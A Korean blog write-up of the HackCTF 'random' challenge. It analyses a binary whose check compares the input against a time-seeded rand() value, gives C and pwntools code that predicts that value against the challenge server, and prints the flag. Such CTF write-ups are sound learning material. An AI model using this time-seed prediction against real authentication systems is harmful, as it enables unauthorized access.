[문제]
[풀이]
- 64bit 바이너리
- 카나리 없음
- NX bit 존재
- PIE 없음
바이너리 실행
- Input Key로 사용자의 입력을 받음
- 입력 값을 사전에 등록되어 있는 값과 비교하는 것으로 보임
- 올바르지 않은 입력을 주었을 때 Nah... 메시지 출력하며 바이너리 종료
IDA 분석 - main 함수
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax@1
int v4; // [rsp+0h] [rbp-10h]@1
int v5; // [rsp+4h] [rbp-Ch]@1
__int64 v6; // [rsp+8h] [rbp-8h]@1
v6 = *MK_FP(__FS__, 40LL);
setbuf(_bss_start, 0LL);
v4 = 0;
v3 = time(0LL);
srand(v3);
v5 = rand();
puts("============================");
puts("======= 인증 프로그램 ======");
puts("============================");
printf("Input Key : ", 0LL, *(_QWORD *)&v4, v6);
__isoc99_scanf("%d", &v4);
if ( v5 == v4 )
{
puts("Correct!");
system("cat /home/random/flag");
exit(0);
}
puts("Nah...");
exit(0);
}
- rand 함수 호출 후 해당 값이 사용자의 입력 값과 같다면 flag 출력
- rand 함수에 seed 값을 주지 않아 최초 호출된 값으로 고정된 random 값을 가진다는 것을 알 수 있음
gdb 분석 - 함수 주소
pwndbg> info func
All defined functions:
Non-debugging symbols:
0x00000000004005e8 _init
0x0000000000400620 puts@plt
0x0000000000400630 setbuf@plt
0x0000000000400640 system@plt
0x0000000000400650 printf@plt
0x0000000000400660 __libc_start_main@plt
0x0000000000400670 srand@plt
0x0000000000400680 time@plt
0x0000000000400690 __isoc99_scanf@plt
0x00000000004006a0 exit@plt
0x00000000004006b0 rand@plt
0x00000000004006c0 __gmon_start__@plt
0x00000000004006d0 _start
0x0000000000400700 deregister_tm_clones
0x0000000000400740 register_tm_clones
0x0000000000400780 __do_global_dtors_aux
0x00000000004007a0 frame_dummy
0x00000000004007c6 main
0x00000000004008a0 __libc_csu_init
0x0000000000400910 __libc_csu_fini
0x0000000000400914 _fini
- main: 0x4007c6
gdb 분석 - main 함수
pwndbg> disass main
Dump of assembler code for function main:
0x00000000004007c6 <+0>: push rbp
0x00000000004007c7 <+1>: mov rbp,rsp
0x00000000004007ca <+4>: sub rsp,0x10
0x00000000004007ce <+8>: mov rax,QWORD PTR fs:0x28
0x00000000004007d7 <+17>: mov QWORD PTR [rbp-0x8],rax
0x00000000004007db <+21>: xor eax,eax
0x00000000004007dd <+23>: mov rax,QWORD PTR [rip+0x200894] # 0x601078 <stdout@@GLIBC_2.2.5>
0x00000000004007e4 <+30>: mov esi,0x0
0x00000000004007e9 <+35>: mov rdi,rax
0x00000000004007ec <+38>: call 0x400630 <setbuf@plt>
0x00000000004007f1 <+43>: mov DWORD PTR [rbp-0xc],0x0
0x00000000004007f8 <+50>: mov DWORD PTR [rbp-0x10],0x0
0x00000000004007ff <+57>: mov edi,0x0
0x0000000000400804 <+62>: mov eax,0x0
0x0000000000400809 <+67>: call 0x400680 <time@plt>
0x000000000040080e <+72>: mov edi,eax
0x0000000000400810 <+74>: call 0x400670 <srand@plt>
0x0000000000400815 <+79>: call 0x4006b0 <rand@plt>
0x000000000040081a <+84>: mov DWORD PTR [rbp-0xc],eax
0x000000000040081d <+87>: mov edi,0x400928
0x0000000000400822 <+92>: call 0x400620 <puts@plt>
0x0000000000400827 <+97>: mov edi,0x400948
0x000000000040082c <+102>: call 0x400620 <puts@plt>
0x0000000000400831 <+107>: mov edi,0x400928
0x0000000000400836 <+112>: call 0x400620 <puts@plt>
0x000000000040083b <+117>: mov edi,0x40096b
0x0000000000400840 <+122>: mov eax,0x0
0x0000000000400845 <+127>: call 0x400650 <printf@plt>
0x000000000040084a <+132>: lea rax,[rbp-0x10]
0x000000000040084e <+136>: mov rsi,rax
0x0000000000400851 <+139>: mov edi,0x400978
0x0000000000400856 <+144>: mov eax,0x0
0x000000000040085b <+149>: call 0x400690 <__isoc99_scanf@plt>
0x0000000000400860 <+154>: mov eax,DWORD PTR [rbp-0x10]
0x0000000000400863 <+157>: cmp DWORD PTR [rbp-0xc],eax
0x0000000000400866 <+160>: jne 0x400886 <main+192>
0x0000000000400868 <+162>: mov edi,0x40097b
0x000000000040086d <+167>: call 0x400620 <puts@plt>
0x0000000000400872 <+172>: mov edi,0x400984
0x0000000000400877 <+177>: call 0x400640 <system@plt>
0x000000000040087c <+182>: mov edi,0x0
0x0000000000400881 <+187>: call 0x4006a0 <exit@plt>
0x0000000000400886 <+192>: mov edi,0x40099a
0x000000000040088b <+197>: call 0x400620 <puts@plt>
0x0000000000400890 <+202>: mov edi,0x0
0x0000000000400895 <+207>: call 0x4006a0 <exit@plt>
End of assembler dump.
- rand함수를 호출하는 main+84에 bp 걸어 eax로 반환되는 random 값 확인
- random 값: 0x39a30760
→ 그러나 seed 값으로 인해 매번 다른 random 값 호출
→ random 값을 직접 만들어 exploit 해야함.
문제 해결
💡 - rand 함수는 seed 값이 같다면 동일한 난수를 출력함
- 서버에 접속 시 생성되는 난수와 동일한 시간에 난수를 생성하여 사용자에게 출력해준다면 난수가 무엇인지 알 수 있을 것
방법1 - 난수 생성 코드 작성
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
void main(){
srand(time(NULL));
printf("%d", rand());
return 0;
}
- ;으로 난수 생성 바이너리와 서버 접속을 연속으로 진행한다면 난수를 가시적으로 확인할 수 있음
방법2 - 공유 객체 파일 생성
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
void main(){
srand(time(NULL));
int random = rand();
return random;
}
- 1번과 동일한 소스코드로는 exploit 불가(return 값이 0이 되면 안됨)
- 공유 객체 파일로 컴파일
Python2
from pwn import *
from ctypes import *
code = CDLL('./rand.so')
random = code.main() #c코드에서의 함수이름 작성
p = remote("ctf.j0n9hyun.xyz",3014)
e = ELF("./random")
p.recvuntil(" : ")
p.sendline(str(random))
p.interactive()
💡 ctypes 라이브러리
파이썬용 외부 함수(foreign function) 라이브러리
C 호환 데이터형을 제공하며, DLL 또는 공유 라이브러리에 있는 함수를 호출할 수 있음.
C로 작성된 코드가 Shared Object(.so)의 형태로 컴파일 되어 있어야 함.
CDLL로 파이썬과 C를 연결할 수 있음
flag
🍒 HackCTF{5087686686858549173307745189}
'Wargame > HackCTF' 카테고리의 다른 글
[HackCTF] Poet (0) | 2022.10.30 |
---|---|
[HackCTF] 1996 (0) | 2022.10.30 |
[HackCTF] RTL_Core (0) | 2022.10.30 |
[HackCTF] Beginner_Heap (0) | 2022.10.30 |
[HackCTF] Look at me (0) | 2022.10.30 |